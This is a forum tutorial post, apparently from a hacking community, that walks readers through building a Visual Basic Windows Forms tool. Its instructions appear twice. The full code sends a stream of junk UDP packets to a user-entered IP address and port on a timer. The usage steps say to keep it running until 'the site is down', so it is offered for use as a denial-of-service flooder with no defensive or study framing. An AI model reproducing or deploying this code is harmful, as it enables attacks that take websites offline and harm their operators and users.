Credits to me for the Tutorial, and to pcquad for the timer code.
Ok guys, I just thought the original post was getting a bit outdated and forgotten, So I'm reposting it!
1. Open, VB, Make a new project, call it whatever you want. <-OBVIOUS
2. Add:
- two textboxes
- three buttons
- a listbox
- two labels
- one timer
3. Design it, using this as a template.
[img]http://img525.imageshack.us/img525/423/24673094.png[/img]
4. Remove the entire code and type this code!
That's it!
How to use:
[img]http://img525.imageshack.us/img525/423/24673094.png[/img]
Textbox1 is the HOST IP
textbox2 is the HOST OPEN PORT
label1 is a still label text = "Status:"
label2 is a variable text = ""
listbox1 is a variable
1 - Enter the IP
2 - Enter the Port (usually 80)
3 - Push Button1 (Start)
4 - When site is down, push button2 (stop)
5 - Clear the listbox
6 - Done!
:) Thanks to pcquad for the code, and thanks to you for viewing!
Ok guys, I just thought the original post was getting a bit outdated and forgotten, So I'm reposting it!
1. Open, VB, Make a new project, call it whatever you want. <-OBVIOUS
2. Add:
- two textboxes
- three buttons
- a listbox
- two labels
- one timer
3. Design it, using this as a template.
[img]http://img525.imageshack.us/img525/423/24673094.png[/img]
4. Remove the entire code and type this code!
Code
Imports System.Net
Imports System.Text
Imports System.Net.Sockets
Imports System.Diagnostics
Public Class Form1
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Try
ListBox1.Items.Add("DatPktS#" + TextBox1.Text + "#S")
ListBox1.Items.Add(My.Computer.Info.AvailableVirtualMemory)
Dim udpClient As New UdpClient
Dim GLOIP As IPAddress
Dim bytCommand As Byte() = New Byte() {}
GLOIP = IPAddress.Parse(TextBox1.Text)
udpClient.Connect(GLOIP, TextBox2.Text)
bytCommand = Encoding.ASCII.GetBytes("b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091b970b1dcdba8b16c22fa1ab5e3d41091")
udpClient.Send(bytCommand, bytCommand.Length)
ListBox1.SelectedIndex += 1
Catch ex As Exception
Me.Close()
End Try
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
label2.forecolor = Color.Lime
label2.text = "Active!"
Timer1.Start()
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
label2.forecolor = Color.Red
label2.text = "Stopped!"
Timer1.Stop()
End Sub
Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
ListBox1.Items.Clear()
End Sub
End ClassThat's it!
How to use:
[img]http://img525.imageshack.us/img525/423/24673094.png[/img]
Textbox1 is the HOST IP
textbox2 is the HOST OPEN PORT
label1 is a still label text = "Status:"
label2 is a variable text = ""
listbox1 is a variable
1 - Enter the IP
2 - Enter the Port (usually 80)
3 - Push Button1 (Start)
4 - When site is down, push button2 (stop)
5 - Clear the listbox
6 - Done!
:) Thanks to pcquad for the code, and thanks to you for viewing!

